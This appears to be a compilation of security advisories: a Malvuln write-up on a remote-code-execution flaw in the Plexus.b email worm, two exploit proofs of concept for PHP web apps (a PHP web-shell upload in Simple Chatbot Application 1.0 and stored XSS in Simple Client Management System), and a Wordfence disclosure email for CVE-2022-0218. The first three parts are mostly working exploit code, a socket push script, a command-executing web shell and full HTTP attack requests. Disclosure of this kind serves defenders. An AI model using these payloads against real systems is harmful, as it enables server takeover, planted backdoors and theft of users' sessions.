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<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/ee8990b5d076a7ed601a30eb677cc9be.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Email-Worm.Win32.Plexus.b Vulnerability: Unauthenticated Remote Code Execution Description: The malware listens on TCP ports 1250 (file write port) and 47435 (random FTP port). Third-party attackers who can reach infected systems can use a socket program to write binary data to the remote host. The malware then writes that data to a file named "_up.exe" under "\Users\Victim\AppData\Local\Temp" that executes immediately. Exploitation requires a few things for our code to run successfully, as there seems to be a file size limitation and header issues. 1) Create a very small executable using masm32 in assembly. 2) Pack it using fsg13 3) Prefix our payload with a DOS "MZ" header and "ETX" control char in hex "\x03" followed by two NULL bytes, as it doesn't write the MZ header correctly. 4) Use python to read in our EXE payload and push to the infected host. Type: PE32 MD5: ee8990b5d076a7ed601a30eb677cc9be Vuln ID: MVID-2021-0400 Disclosure: 11/07/2021 Exploit/PoC: 1) "DOOM.asm" compiled with masm32. include \masm32\include\masm32rt.inc .data HATE db "Masm32:", 0 MyReal8 REAL8 123.456 .data? aDword dd ? .code start: invoke MessageBox, 0, chr$("DOOM!"), addr HATE, MB_OK mov eax, 123 exit end start 2) Pack DOOM.exe using FSG13. 3) Connect to the infected system and push our own PE file. # -*- coding: utf-8 -*- from socket import * MALWARE_HOST="x.x.x.x" PORT=1250 DOOM="DOOM_FSG.exe" EXE="MZ\x00\x03\x00\x00" def doit(): global EXE s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = EXE + f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("MD5: ee8990b5d076a7ed601a30eb677cc9be") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code># Exploit Title: Simple Chatbot Application 1.0 - Remote Code Execution (RCE) # Date: 18/01/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html # Version: 1.0 # Tested on: XAMPP, Windows 10 # Exploit : You can upload a php shell file as a bot_avatar or user_avatar or image # ------------------------------------------------------------------------------------------ # POC # ------------------------------------------------------------------------------------------ # Request sent as base user POST /classes/SystemSettings.php?f=update_settings HTTP/1.1 Host: localhost.SA Cookie: PHPSESSID=vgs6dm14ubfcmbi4kvgod1jeb4; _ga=GA1.2.1002000635.1642463002; _gid=GA1.2.990020096.1642463002 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------55217074722533208072616276474 Content-Length: 1121 Connection: close -----------------------------55217074722533208072616276474 Content-Disposition: form-data; name="name" -----------------------------55217074722533208072616276474 Content-Disposition: form-data; name="short_name" -----------------------------55217074722533208072616276474 Content-Disposition: form-data; name="intro" -----------------------------55217074722533208072616276474 Content-Disposition: form-data; name="no_result" -----------------------------55217074722533208072616276474 Content-Disposition: form-data; name="img"; filename="" Content-Type: image/jpeg -----------------------------55217074722533208072616276474 Content-Disposition: form-data; name="bot_avatar"; filename="bot_avatar.php" Content-Type: application/octet-stream <?php if($_REQUEST['s']) { system($_REQUEST['s']); } else phpinfo(); ?> </pre> </body> </html> -----------------------------55217074722533208072616276474 Content-Disposition: form-data; name="user_avatar"; filename="" Content-Type: application/octet-stream -----------------------------55217074722533208072616276474-- # Response HTTP/1.1 200 OK Date: Tue, 18 Jan 2022 00:51:29 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12 X-Powered-By: PHP/8.0.12 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 119 Connection: close Content-Type: text/html; charset=UTF-8 1 # ------------------------------------------------------------------------------------------ # Request to webshell # ------------------------------------------------------------------------------------------ GET /uploads/bot_avatar.php?s=echo+0xSaudi HTTP/1.1 Host: localhost.SA Cookie: PHPSESSID=vgs6dm14ubfcmbi4kvgod1jeb4; _ga=GA1.2.1002000635.1642463002; _gid=GA1.2.990020096.1642463002 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Connection: close # ------------------------------------------------------------------------------------------ # Webshell response # ------------------------------------------------------------------------------------------ HTTP/1.1 200 OK Date: Tue, 18 Jan 2022 00:51:29 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12 X-Powered-By: PHP/8.0.12 Content-Length: 16 Connection: close Content-Type: text/html; charset=UTF-8 <pre>0xSaudi </pre> </code></pre>

<pre><code># Exploit Title: Simple Client Management System 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) # Exploit Author: Sentinal920 # Date: 5-11-2021 # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cms.zip # Version: 1.0 # Tested on: Kali Linux # Vulnerable page: client,invoice # Vulnerable Parameters: "lastname", "remarks" Technical description: A stored XSS vulnerability exists in the Simple Client Management System. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. Steps to exploit: 1) Navigate to http://localhost/cms/admin/?page=client 2) Click on add new client 3) Insert your payload in the "lastname" parameter or the "description" parameter 4) Click save Proof of concept (Poc): The following payload will allow you to run the javascript - <script>alert(1)</script> 1) XSS POC in Add New Client ----------------------------- POST /cms/classes/Master.php?f=save_client HTTP/1.1 Host: localhost Content-Length: 1026 sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIBW1SfSFiXMKK7Nt X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/cms/admin/?page=client/manage_client Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn Connection: close ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="lastname" <script>alert(1)</script> ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="firstname" anything ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="middlename" anything ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="gender" Male ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="dob" 2021-11-03 ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="contact" xxxxxxxxxx ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="address" xxxxxx ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="email" xxxx@xxx.com ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="avatar"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt-- 2) XSS POC in Add New Invoice ----------------------------- POST /cms/classes/Master.php?f=save_invoice HTTP/1.1 Host: localhost Content-Length: 1032 sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEk0iOWhhoA0lApXo X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/cms/admin/?page=invoice/manage_invoice Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn Connection: close ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="id" ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="client_id" 1 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="service_id[]" 1 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="price[]" 250 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="discount_perc" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="discount" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="tax_perc" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="tax" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="total_amount" 250 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="remarks" <script>alert(1)</script> ------WebKitFormBoundaryEk0iOWhhoA0lApXo-- </code></pre>

<pre><code>Exploit makes it possible for unauthenticated attackers to achieve complete site takeover. On December 23, 2021 the Wordfence Threat Intelligence team initiated the responsible disclosure process for a vulnerability we discovered in “WordPress Email Template Designer – WP HTML Mail”, a WordPress plugin that is installed on over 20,000 sites. This flaw made it possible for an unauthenticated attacker to inject malicious JavaScript that would execute whenever a site administrator accessed the template editor. This vulnerability would also allow them to modify the email template to contain arbitrary data that could be used to perform a phishing attack against anyone who received emails from the compromised site. We sent the full disclosure details to the developer on January 10, 2022, after multiple attempts to contact the developer and eventually receiving a response. The developer quickly acknowledged the report and released a patch on January 13, 2022. We strongly recommend ensuring that your site has been updated to the latest patched version of “WordPress Email Template Designer – WP HTML Mail”, which is version 3.1 at the time of this publication. This email content has also been published on our blog and you're welcome to post a comment there if you'd like to join the conversation. (https://email.wordfence.com/e3t/Btc/GC+113/cwG7R04/VWHDpL75Z3_XW4BV8g54nSzDBW7RdXLG4DvH44N31NNzS5js6pV3Zsc37CgClmW2MbXKP1qGwNjW4jBH7-6ZVxShW6Lvyzw7xS90wW7Pj_kV20YJL6W9gr1v15wqdHCW62mCFw6CgLmDN37XHLx8BCshW41WbRV7-4L_gW3bxWBV25mHz1W3KMc066ZhQSYW1LvgN42411V8W55h1_H6hxhTxW2bRqLF47PRK_W5lgzmq1MSksKVvWl-B5Q4pBNW359SM860B8RxN1n59qWGtQttW2DlkJ64tZCVvV9BvD_2ylV4mW71kLBZ47rgbnW58XHc-5jBt2sW26BWFT1cCD6xW7vlbvr7t7-F3N5_TslrJMNvZW71ydcY6NmCzRW4pzKQ52TkMLXW15LPKz1KqSqqW8B3YpV8wxdBQW1b_h1b69r2gHW6D8PdB3GLMMfW6s3jhD5HPY5XW1xR0fr79Sb6B31Mp1 ) Or you can read the full post in this email. Description: Unprotected REST-API Endpoint to Unauthenticated Stored Cross-Site Scripting and Data Modification Affected Plugin: WordPress Email Template Designer – WP HTML Mail Plugin Slug: wp-html-mail Plugin Developer: codemiq Affected Versions: <= 3.0.9 CVE ID: CVE-2022-0218 CVSS Score: 8.3 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N Researcher/s: Chloe Chamberland Fully Patched Version: 3.1 WP HTML Mail is a WordPress plugin developed to make designing custom emails simpler for WordPress site owners. It is compatible with various WordPress plugins like WooCommerce, Ninja Forms, BuddyPress, and more. The plugin registers two REST-API routes which are used to retrieve email template settings and update email template settings. Unfortunately, these were insecurely implemented making it possible for unauthenticated users to access these endpoints. More specifically, the plugin registers the /themesettings endpoint, which calls the saveThemeSettings function or the getThemeSettings function depending on the request method. The REST-API endpoint did use the permission_callback function, however, it was set to __return_true which meant that no authentication was required to execute the functions. Therefore, any user had access to execute the REST-API endpoint to save the email’s theme settings or retrieve the email's theme settings. [Please read the full article here (https://email.wordfence.com/e3t/Btc/GC+113/cwG7R04/VWHDpL75Z3_XW4BV8g54nSzDBW7RdXLG4DvH44N31NNzS5js6pV3Zsc37CgClmW2MbXKP1qGwNjW4jBH7-6ZVxShW6Lvyzw7xS90wW7Pj_kV20YJL6W9gr1v15wqdHCW62mCFw6CgLmDN37XHLx8BCshW41WbRV7-4L_gW3bxWBV25mHz1W3KMc066ZhQSYW1LvgN42411V8W55h1_H6hxhTxW2bRqLF47PRK_W5lgzmq1MSksKVvWl-B5Q4pBNW359SM860B8RxN1n59qWGtQttW2DlkJ64tZCVvV9BvD_2ylV4mW71kLBZ47rgbnW58XHc-5jBt2sW26BWFT1cCD6xW7vlbvr7t7-F3N5_TslrJMNvZW71ydcY6NmCzRW4pzKQ52TkMLXW15LPKz1KqSqqW8B3YpV8wxdBQW1b_h1b69r2gHW6D8PdB3GLMMfW6s3jhD5HPY5XW1xR0fr79Sb6B31Mp1 ) to view this code snippet.] As this functionality was designed to implement setting changes for the email template, an unauthenticated user could easily make changes to the email template that could aid in phishing attempts against users that receive emails from the targeted site. Worse yet, unauthenticated attackers could inject malicious JavaScript into the mail template that would execute anytime a site administrator accessed the HTML mail editor. As always, cross-site scripting vulnerabilities can be used to inject code that can add new administrative users, redirect victims to malicious sites, inject backdoors into theme and plugin files, and so much more. Combined with the fact that the vulnerability can be exploited by attackers with no privileges on a vulnerable site, this means that there is a high chance that unauthenticated attackers could gain administrative user access on sites running the vulnerable version of the plugin when successfully exploited. As such, we strongly recommend that you verify that your site is running the most up to date version of the plugin immediately. Timeline December 23, 2021 – Conclusion of the plugin analysis that led to the discovery of a Stored Cross-Site Scripting Vulnerability in the “WordPress Email Template Designer – WP HTML Mail” plugin. We develop and release a firewall rule to protect Wordfence users. Wordfence Premium users receive this rule immediately. We attempt to initiate contact with the developer. January 4, 2022 – We send an additional outreach attempt to the developer. January 10, 2022 – The developer confirms the inbox for handling the discussion. We send over the full disclosure details. January 11, 2022 – The developer acknowledges the report and indicates that they will work on a fix. January 13, 2022 – A fully patched version of the plugin is released as version 3.1. January 22, 2022 – The firewall rule becomes available to free Wordfence users. Conclusion In today’s post, we detailed a flaw in the “WordPress Email Template Designer – WP HTML Mail” plugin that made it possible for unauthenticated attackers to inject malicious web scripts that would execute whenever a site owner accessed the mail editor area plugin, which could lead to complete site compromise. This flaw has been fully patched in version 3.1. We recommend that WordPress site owners immediately verify that their site has been updated to the latest patched version available, which is version 3.1 at the time of this publication. </code></pre>